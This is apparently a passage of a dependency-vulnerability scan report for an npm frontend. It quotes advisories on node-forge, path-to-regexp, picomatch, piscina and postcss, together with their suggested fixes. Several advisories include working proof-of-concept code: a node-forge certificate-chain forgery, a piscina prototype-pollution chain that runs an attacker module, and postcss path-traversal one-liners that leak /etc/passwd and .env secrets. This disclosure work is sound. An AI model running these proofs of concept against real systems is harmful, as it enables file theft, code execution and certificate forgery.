> "If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of `basicConstraints` should result in rejection, not acceptance.

## Proof of Concept

```javascript
const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
```

**Results:**
- Certificate with NO extensions: **ACCEPTED as CA** (vulnerable — violates RFC 5280)
- Certificate with `basicConstraints.cA=false`: correctly rejected
- Certificate with `keyUsage` (no `keyCertSign`): correctly rejected
- Proper intermediate CA (control): correctly accepted

## Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for `attacker.com`) that lacks `basicConstraints` and `keyUsage` extensions can use it to sign certificates for ANY domain. Any application using node-forge's `verifyCertificateChain()` will accept the forged chain.

This affects applications using node-forge for:
- Custom PKI / certificate pinning implementations
- S/MIME / PKCS#7 signature verification
- IoT device certificate validation
- Any non-native-TLS certificate chain verification

## CVE Precedent

This is the same vulnerability class as:
- **CVE-2014-0092** (GnuTLS) — certificate verification bypass
- **CVE-2015-1793** (OpenSSL) — alternative chain verification bypass
- **CVE-2020-0601** (Windows CryptoAPI) — crafted certificate acceptance

## Not a Duplicate

This is distinct from:
- CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
- CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
- GitHub issue #1049 (null subject/issuer — different malformation)

## Suggested Fix

Add an explicit check for absent `basicConstraints` on non-leaf certificates:

```javascript
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}
```

## Disclosure Timeline

- 2026-03-10: Report submitted via GitHub Security Advisory
- 2026-06-08: 90-day coordinated disclosure deadline

## Credits

Discovered and reported by Doruk Tan Ozturk ([@peaktwilight](https://github.com/peaktwilight)) — [doruk.ch](https://doruk.ch)
CWE-295 Improper Certificate Validation

CVSSv3:
  • Base Score: HIGH (7.400000095367432)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:node-forge:\<\=1.3.3:*:*:*:*:*:*:*

path-to-regexp:0.1.12

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?path-to-regexp

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/path-to-regexp@0.1.12  (Confidence:Highest)

GHSA-37ch-88jc-xwx2 (NPM)  

### Impact

A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b-:c` or `/:a-:b-:c-:d`. The backtrack protection added in `path-to-regexp@0.1.12` only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.

### Patches

Upgrade to [path-to-regexp@0.1.13](https://github.com/pillarjs/path-to-regexp/releases/tag/v.0.1.13)

Custom regex patterns in route definitions (e.g., `/:a-:b([^-/]+)-:c([^-/]+)`) are not affected because they override the default capture group.

### Workarounds

All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b-:c` to `/:a-:b([^-/]+)-:c([^-/]+)`.

If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.

### References

- [GHSA-9wv6-86v2-598j](https://github.com/advisories/GHSA-9wv6-86v2-598j)
- [Detailed blog post: ReDoS the web](https://blakeembrey.com/posts/2024-09-web-redos/)
CWE-1333 Inefficient Regular Expression Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:path-to-regexp:\<0.1.13:*:*:*:*:*:*:*

picomatch:2.3.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?picomatch

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/picomatch@2.3.1  (Confidence:Highest)

GHSA-c2c7-rcm5-vvqj (NPM)  

### Impact
`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.

Examples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.

Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.

### Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

### Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.

Possible mitigations include:
- disable extglob support for untrusted patterns by using `noextglob: true`
- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`
- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns

### Resources
- Picomatch repository: https://github.com/micromatch/picomatch
- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms
- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)
- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)
CWE-1333 Inefficient Regular Expression Complexity

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:picomatch:\<2.3.2:*:*:*:*:*:*:*

GHSA-3v7f-55p6-f55p (NPM)  

### Impact
picomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.

This leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.

All users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.

### Patches

This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.

Users should upgrade to one of these versions or later, depending on their supported release line.

### Workarounds

If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.

Possible mitigations include:
- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.
- Avoiding the use of POSIX bracket expressions if user input is involved.
- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:

  ```js
  const POSIX_REGEX_SOURCE = {
    __proto__: null,
    alnum: 'a-zA-Z0-9',
    alpha: 'a-zA-Z',
    // ... rest unchanged
  };
  
### Resources

- fix for similar issue: https://github.com/micromatch/picomatch/pull/144
- picomatch repository https://github.com/micromatch/picomatch
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:picomatch:\<2.3.2:*:*:*:*:*:*:*

piscina:4.6.1

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?piscina

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/piscina@4.6.1  (Confidence:Highest)

GHSA-x9g3-xrwr-cwfg (NPM)  

## Summary

`piscina`'s constructor and `run()` paths read the `filename` option via plain member access:

```js
// dist/index.js line 92 (constructor)
const filename = options.filename
  ? (0, common_1.maybeFileURLToPath)(options.filename)
  : null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };

// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
    if (options === null || typeof options !== 'object') {
        return Promise.reject(new TypeError('options must be an object'));
    }
    const { transferList, filename, name, signal } = options;
```

Both reads fall through the prototype chain when the caller's options object doesn't have `filename` as an own property. When `Object.prototype.filename` is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to `worker_threads.Worker` import and the attacker's `.mjs` runs in the worker.

**Subtlety**: calling `pool.run(task)` with no second arg uses `kDefaultRunOptions` which has `filename: null` as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly `{signal: ac.signal}` for abort support, `{name: ...}` for task labelling, etc.). These caller-built options objects inherit from `Object.prototype` unless the caller explicitly uses `Object.create(null)`.

## Impact

Two preconditions:

1. **Upstream PP-source** somewhere in the process — common in transitive deps
2. **Attacker-controllable `.mjs`** at a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain

Once both fire:
- Every `pool.run(task, opts)` call across the entire process is hijacked
- Attacker's exported function is called with the legitimate caller's task data — **attacker reads per-request app data**
- Attacker controls the return value — caller receives `worker_response.by = "ATTACKER-WORKER"` and any other attacker-supplied response fields — **attacker can poison return values to legitimate clients**
- Hijack persists until process restart

Strictly worse than the analogous pino chain because piscina actually *invokes* the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).

## Affected versions

Empirically verified vulnerable on `piscina@5.1.4` (latest stable at time of disclosure). The bug shape is in the constructor's `options.filename` read at line 92 of `dist/index.js`, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.

## Proof of concept

### A) Minimal in-process PoC

```js
import fs from 'fs';

// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
  import fs from 'fs';
  fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
    rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
  }));
  export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);

// 2) Upstream PP-source — pollute Object.prototype.filename
//    (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
//     and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}
vulnMerge({}, payload);

// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({});                        // inherits filename
const result = await p.run({});                   // worker imports /tmp/atk.mjs
await p.destroy();

// 4) sentinel exists; attacker fn was called with task data
console.log(fs.readFileSync('/tmp/PISCINA_RCE_SENTINEL', 'utf8'));
console.log('attacker fn returned:', result);
// → "attacker-return-{}"
```

### B) Full-stack HTTP chain (this is the realistic shape)

A correctly-initialized pool gets hijacked by attacker activity. Pool is created at server boot with a legitimate worker, then per-request handlers call `pool.run(req.body, {signal: ac.signal})` — the standard abort-aware shape.

```js
// === server.mjs ===
import express from 'express';
import { Piscina } from 'piscina';

// Vulnerable PP-source middleware (lodash<4.17.13 equivalent)
function vulnMerge(t, s) {
  for (const k of Object.keys(s)) {
    if (s[k] !== null && typeof s[k] === 'object') {
      if (!t[k]) t[k] = {};
      vulnMerge(t[k], s[k]);
    } else t[k] = s[k];
  }
}

// CORRECT pool init at boot
const pool = new Piscina({
  filename: './valid-worker.mjs',
  minThreads: 1, maxThreads: 2,
});

const config = {};
const app = express();

app.post('/api/settings', express.json(), (req, res) => {
  vulnMerge(config, req.body);                    // PP source
  res.json({ ok: true });
});

app.post('/api/process', express.json(), async (req, res) => {
  const ac = new AbortController();
  const result = await pool.run(req.body, { signal: ac.signal });  // <-- hijacked
  res.json({ ok: true, worker_response: result });
});

app.listen(7755);

// === Attacker, 3 HTTP requests ===
// POST /upload  → drops /tmp/atk.mjs
// POST /api/settings with body: {"__proto__":{"filename":"/tmp/atk.mjs"}}
// POST /api/process → pool.run() destructures filename via prototype
//                  → worker imports /tmp/atk.mjs
//                  → attacker fn called with req.body of THIS request
//                  → caller receives attacker-shaped response
```

Empirical observation on `piscina@5.1.4` + Node 23.11.0:
- Pre-attack `/api/process` returns `{by: 'valid-worker'}`
- Cold-path `/probe` after PP source confirms `({}).filename` is polluted process-wide
- Post-attack `/api/process` returns `{by: 'ATTACKER-WORKER', processed: <caller's exfil data>}`
- Sentinel file written from inside `piscina/dist/worker.js` with the worker process's uid + env access

## Recommended fix

Minimal — own-property guard at both option-read sites:

```js
// constructor (line 92)
const userFilename = Object.prototype.hasOwnProperty.call(options, 'filename')
  ? options.filename
  : null;
const filename = userFilename
  ? (0, common_1.maybeFileURLToPath)(userFilename)
  : null;

// run() (line 616)
const safeOpts = Object.create(null);
Object.assign(safeOpts, options);          // copies own props only? — keeps shape
const { transferList, filename, name, signal } = safeOpts;
```

More idiomatic — use a null-prototype working object throughout `this.options`:

```js
const safeOpts = Object.create(null);
Object.assign(safeOpts, kDefaultOptions, options);
this.options = safeOpts;
this.options.filename = safeOpts.filename
  ? (0, common_1.maybeFileURLToPath)(safeOpts.filename)
  : null;
this.options.maxQueue = 0;
```

Either approach closes the gadget without breaking any legitimate caller pattern.

The pattern is the same as recommended for axios CVE-2026-44494 and the pino PSA filed earlier today. Cross-fix consideration: any other library you maintain that uses similar `options.X` member-access for worker / child-process / module-load operations is worth a quick audit.

## Coordination

- Same maintainer as pino — you're already in security-triage mode for that PSA. Happy to coordinate timing / disclosure dates across both.
- Will not share publicly until GHSA published or 90 days.
- Please credit `ridingsa` if you choose to credit a reporter.

## How this was discovered

Generalized the pino disclosure's mechanism — any library that reads a string option via plain member access and dynamic-loads it (via `import()` / `require()` / `new Worker()`) is a candidate. Ran a sweep across 10 candidate libraries; piscina + fastify (via pino propagation) fired. Piscina is independently vulnerable through its own option-read sites, hence this separate disclosure.
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), CWE-94 Improper Control of Generation of Code ('Code Injection')

CVSSv3:
  • Base Score: HIGH (8.100000381469727)
  • Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:piscina:\<\=4.9.2:*:*:*:*:*:*:*

polyfills-FFHMD2TL.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/polyfills-FFHMD2TL.js
MD5: feb8fabaa54a01a42a5d3785369cea71
SHA1: f49b49a155bc7d192db62a4c15d0a612b460a667
SHA256:69dcea045643dd0de998a3cd0ccbbb46b46bff2651a87a56c73c28eb208e8f98

Identifiers

  • None

postcss:8.5.6

File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?postcss

Referenced In Project/Scope: package-lock.json: transitive

Identifiers

  • pkg:npm/postcss@8.5.6  (Confidence:Highest)

GHSA-6g55-p6wh-862q (NPM)  

## Summary

PostCSS's `PreviousMap` parses the `/*# sourceMappingURL=PATH */` comment from any CSS string passed to `process()` and dereferences `PATH` against the local filesystem with no scheme, allowlist, or traversal check. An attacker who controls the CSS input can cause the host process to read any file readable by Node and leak the first ~10 bytes of its content through the resulting `JSON.parse` `SyntaxError` message. The bug also yields a precise file-existence oracle and a controllable-read primitive that may be combined with large-file targets for DoS. The behaviour is triggered with PostCSS's default options — no `from`, no `map`, no plugins required — and is therefore reachable from any pipeline that runs untrusted CSS through PostCSS (CMS themes, user-uploaded styles, browser-extension/userstyle processors, build pipelines for third-party packages, blog comment renderers, etc.).

## Details

The dangerous chain lives in `lib/previous-map.js` and is wired into every `Input` construction at `lib/input.js:70-77`.

`Input` constructor (`lib/input.js:70-77`):

```js
if (pathAvailable && sourceMapAvailable) {
  let map = new PreviousMap(this.css, opts)
  if (map.text) {
    this.map = map
    let file = map.consumer().file
    if (!this.file && file) this.file = this.mapResolve(file)
  }
}
```

`PreviousMap` constructor (`lib/previous-map.js:17-29`):

```js
constructor(css, opts) {
  if (opts.map === false) return
  this.loadAnnotation(css)
  this.inline = this.startWith(this.annotation, 'data:')

  let prev = opts.map ? opts.map.prev : undefined
  let text = this.loadMap(opts.from, prev)
  ...
}
```

Note `opts.map === false` is the only short-circuit. With default options (`opts.map === undefined`), the rest of the constructor — including the filesystem read — executes.

`loadAnnotation` (`lib/previous-map.js:72-84`) extracts the URL **without sanitisation**:

```js
loadAnnotation(css) {
  let comments = css.match(/\/\*\s*# sourceMappingURL=/g)
  if (!comments) return
  let start = css.lastIndexOf(comments.pop())
  let end = css.indexOf('*/', start)
  if (start > -1 && end > -1) {
    this.annotation = this.getAnnotationURL(css.substring(start, end))
  }
}
```

`getAnnotationURL` (`lib/previous-map.js:59-61`) only strips the `/*# sourceMappingURL=` prefix and trims whitespace — no scheme check, no path normalisation, no allowlist.

`loadMap` (`lib/previous-map.js:124-128`) — when `prev` is absent and the annotation is not an inline `data:` URI:

```js
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)
  return this.loadFile(map)
}
```

* If `opts.from` is unset, `file` is undefined and the raw attacker-supplied path (e.g. `/etc/passwd`) is used directly.
* If `opts.from` is set, `path.join(dirname(file), attackerPath)` is used. `path.join` does **not** block `..` segments, so `../../../../../etc/passwd` resolves outside the intended directory.

`loadFile` (`lib/previous-map.js:86-92`) is the sink:

```js
loadFile(path) {
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}
```

The bytes are stored in `this.text`. `Input` immediately invokes `map.consumer()` (`lib/input.js:74`), which constructs a `SourceMapConsumer` (`lib/previous-map.js:33`). When the file is not valid source-map JSON (the common case), `source-map-js` calls `JSON.parse`, and V8's `SyntaxError` message embeds the first ~10 bytes of the file content:

```
Unexpected token 'r', "root:x:0:0"... is not valid JSON
```

This error is propagated back to the caller. Any application that surfaces PostCSS errors (logs, HTTP 500 responses, build-tool output, debug pages) discloses those bytes to the attacker.

Trust-boundary analysis:
* Attacker controls: CSS input passed to `postcss().process(css, opts?)`.
* Server resources: any file readable by the Node process — typically including app config, environment files, SSH keys, `/etc/passwd`, `/proc/self/environ`, etc.
* No mitigations: there is no path validation, scheme allowlist, traversal check, or symlink check. The only relevant check (`startWith(annotation, 'data:')`) routes inline URIs to `decodeInline`; everything else hits `loadFile`.

Primitives obtained:
* (a) **Arbitrary file read** — bytes loaded into Node memory.
* (b) **Information disclosure** — first ~10 bytes leaked via `JSON.parse` `SyntaxError` message.
* (c) **File-existence oracle** — non-existent paths return silently from `loadFile` (`existsSync` is false → returns undefined → no map text → no consumer call → no error). Existent non-JSON paths throw. Existent JSON paths succeed silently. Three distinguishable states.
* (d) **DoS primitive** — directing the read at `/dev/zero`, very large files, or device files can stall or crash the process.

## PoC

All commands executed against this repository's HEAD (postcss 8.5.10) on Node v22.12.0.

**Vector 1 — Absolute path, default options (no `from`, no `map`):**

```bash
$ node -e 'const p=require("postcss"); \
  try { p().process("a{color:red}\n/*# sourceMappingURL=/etc/passwd */"); } \
  catch(e){console.log(e.message)}'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
```

The first 10 bytes of `/etc/passwd` (`root:x:0:0`) are leaked.

**Vector 2 — Relative `..` traversal with `opts.from` set (simulates a build pipeline that pins `from` to the source file):**

```bash
$ node -e 'const p=require("postcss"); \
  p().process("a{color:red}\n/*# sourceMappingURL=../../../../../etc/passwd */", \
              {from:"/var/www/html/styles/main.css", map:{inline:false}}) \
   .catch(e=>console.log(e.message))'
Unexpected token 'r', "root:x:0:0"... is not valid JSON
```

`path.join('/var/www/html/styles', '../../../../../etc/passwd')` resolves to `/etc/passwd`.

**Vector 3 — File-existence oracle:**

```bash
# Existing non-JSON file → throws (file confirmed to exist)
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/etc/passwd */")'
SyntaxError: Unexpected token 'r', "root:x:0:0"... is not valid JSON

# Non-existent file → returns silently (file confirmed absent)
$ node -e 'r=require("postcss")().process("a{}\n/*# sourceMappingURL=/no/such/file */"); console.log("ok")'
ok
```

**Vector 4 — Custom file-content leak:**

```bash
$ printf 'API_KEY=sk-secret-12345\n' > /tmp/server-secret.env
$ node -e 'require("postcss")().process("a{}\n/*# sourceMappingURL=/tmp/server-secret.env */")' 2>&1 | head -1
SyntaxError: Unexpected token 'A', "API_KEY=sk"... is not valid JSON
```

The first 10 bytes of `/tmp/server-secret.env` (`API_KEY=sk`) are leaked — sufficient to confirm a token's presence and, in many cases, recover its prefix.

**Filesystem-call trace** (proves the read happens with no opts at all):

```js
const fs = require('fs');
const orig = fs.readFileSync;
fs.readFileSync = function(p){
  if (typeof p==='string' && p.startsWith('/etc')) console.log('[FILE READ]:', p);
  return orig.apply(this, arguments);
};
require('postcss')().process('a{}\n/*# sourceMappingURL=/etc/hostname */');
// → [FILE READ]: /etc/hostname
// → SyntaxError: Unexpected token 'D', "Debian-tri"... is not valid JSON
```

## Impact

* **Arbitrary file read** of any file readable by the Node process from any CSS-processing context that accepts attacker-influenced CSS. PostCSS has hundreds of millions of weekly npm downloads and is the standard CSS processor for build tools (webpack `postcss-loader`, vite, parcel, Next.js, Gatsby, etc.) and for runtime CSS-handling libraries (CSS Modules tools, CSS minifiers, theme processors). Any pipeline that runs untrusted user CSS — CMS theme uploads, user-styled blog posts, browser-extension/userstyle services, multi-tenant build farms, third-party-package build pipelines — is exposed.
* **Confidentiality leak** of the first ~10 bytes of the targeted file via `JSON.parse` `SyntaxError`. This is enough to recover SSH-key headers, environment-variable prefixes (`API_KEY=sk…`), `/etc/passwd` records, the start of `/proc/self/environ`, and other high-value secrets, and to fingerprint the host (`Debian-tri…` from `/etc/hostname`).
* **File-existence oracle** with three distinguishable response states (silent success, `JSON.parse` error, no-such-file silence), enabling reconnaissance of the host filesystem layout and confirmation of installed software, user accounts, and configuration files.
* **DoS** by targeting `/dev/zero`, `/proc/kcore`, very large files, or named pipes — `readFileSync` is a synchronous, unbounded read.
* **Default-on**: triggered with `postcss().process(css)` and no options. The only configuration that disables the bug is the explicit, undocumented-for-this-purpose `{ map: false }`.

## Recommended Fix

The root cause is that `loadFile` accepts any path the attacker supplies inside a CSS comment. The annotation is meant for tooling, not for production CSS processing of untrusted input. Two layered fixes:

1. **Refuse traversal/absolute paths in `loadMap`** (defence-in-depth):

   ```js
   // lib/previous-map.js
   loadMap(file, prev) {
     if (prev === false) return false
     if (prev) { /* unchanged */ }
     else if (this.inline) {
       return this.decodeInline(this.annotation)
     } else if (this.annotation) {
       let annotation = this.annotation
       // Reject schemes (other than data:, handled above) and absolute paths.
       if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(annotation)) return
       if (require('path').isAbsolute(annotation)) return
       if (!file) return  // No base path → cannot safely resolve.
       const base = require('path').resolve(require('path').dirname(file))
       const resolved = require('path').resolve(base, annotation)
       // Refuse anything that escapes the base directory.
       if (resolved !== base && !resolved.startsWith(base + require('path').sep)) {
         return
       }
       return this.loadFile(resolved)
     }
   }
   ```

2. **Require explicit opt-in to follow on-disk source-map annotations**: gate the `loadFile(map)` call in `loadMap` behind an option such as `opts.map.annotation === true` or `opts.map.followAnnotation === true`. Today, the only way to opt out is `{ map: false }`, which also disables in-memory previous-map handling. Inverting the default — only follow disk-resident annotations when explicitly asked — eliminates the entire attack surface for callers that pass untrusted CSS, while preserving build-tool use cases where the annotation is trusted.

A user-facing changelog entry should warn that `postcss().process(untrustedCss)` previously read attacker-controlled paths, and recommend auditing applications that surfaced PostCSS errors to end users.
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-200 Exposure of Sensitive Information to an Unauthorized Actor

CVSSv3:
  • Base Score: HIGH (7.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:postcss:\<\=8.5.11:*:*:*:*:*:*:*

GHSA-r28c-9q8g-f849 (NPM)  

## Vulnerability Details

**File**: `lib/previous-map.js`
**Line**: 87-98 (`loadFile`), 129-144 (`loadMap`)


### Root Cause
PostCSS auto-detects a `/*# sourceMappingURL=... */` comment inside the CSS text it is asked to parse and, unless the caller explicitly passes `map: false`, attempts to load that path from disk as a "previous source map." This happens on every `postcss.parse()` / `postcss().process()` call by default (opt-out, not opt-in).

`loadMap()` builds the candidate path via `join(dirname(opts.from), annotation)`, where `annotation` is the raw, attacker-controlled string from the CSS comment. `path.join()` normalizes but does not sandbox `..` segments, so a `../../../` prefix walks the resolved path outside the intended directory. If `opts.from` is not set at all, the annotation is used completely unmodified — an absolute path in the CSS comment is read verbatim.

8.5.12 already fixed a strictly worse variant of this (any file, any extension, could be read) by requiring the resolved path to end in `.map` (`loadFile()`). That fix did not address the traversal itself, only the target extension. Since the `join(dirname(file), map)` logic has existed unchanged since PostCSS 8.0.0 (Feb 2020), any file ending in `.map` remains readable through this path in the current release (8.5.16).

Once loaded, `MapGenerator.isMap()` treats the mere presence of a loaded "previous map" as an implicit request to generate `result.map`, even when the caller never set the `map` option. If the loaded map has a `sourcesContent` field (common for maps emitted by bundlers/transpilers), that content is merged into `result.map` and returned to the caller — disclosing the traversed-to file's content to whoever supplied the CSS.

### Attack Scenario
1. A service accepts user-submitted CSS and runs it through PostCSS to lint/format/transform it, e.g. `postcss().process(userCss, { from: '/app/uploads/user123/input.css', to: '/app/uploads/user123/output.css' })` — idiomatic usage; `map` option untouched.
2. Attacker submits CSS containing `/*# sourceMappingURL=../../../../some/other/app/dist/bundle.js.map */` (or an absolute path if `from` is unset).
3. PostCSS reads that `.map` file and folds its `sourcesContent` into `result.map`.
4. The service does what most build pipelines do with a truthy `result.map` — writes it next to the CSS output or returns it via API (source maps are meant to be consumed by browser devtools, so this is commonly public/served).
5. Attacker retrieves the emitted map and reads out the traversed file's content.

### Impact
Disclosure of the contents of arbitrary `.map` files reachable via path traversal (or absolute path when `from` is unset) from the process's filesystem. Affects any application processing CSS it does not fully trust without explicitly passing `map: false`. No authentication or user interaction beyond submitting CSS text is required.

### Vulnerable Code
```js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()
  }
}

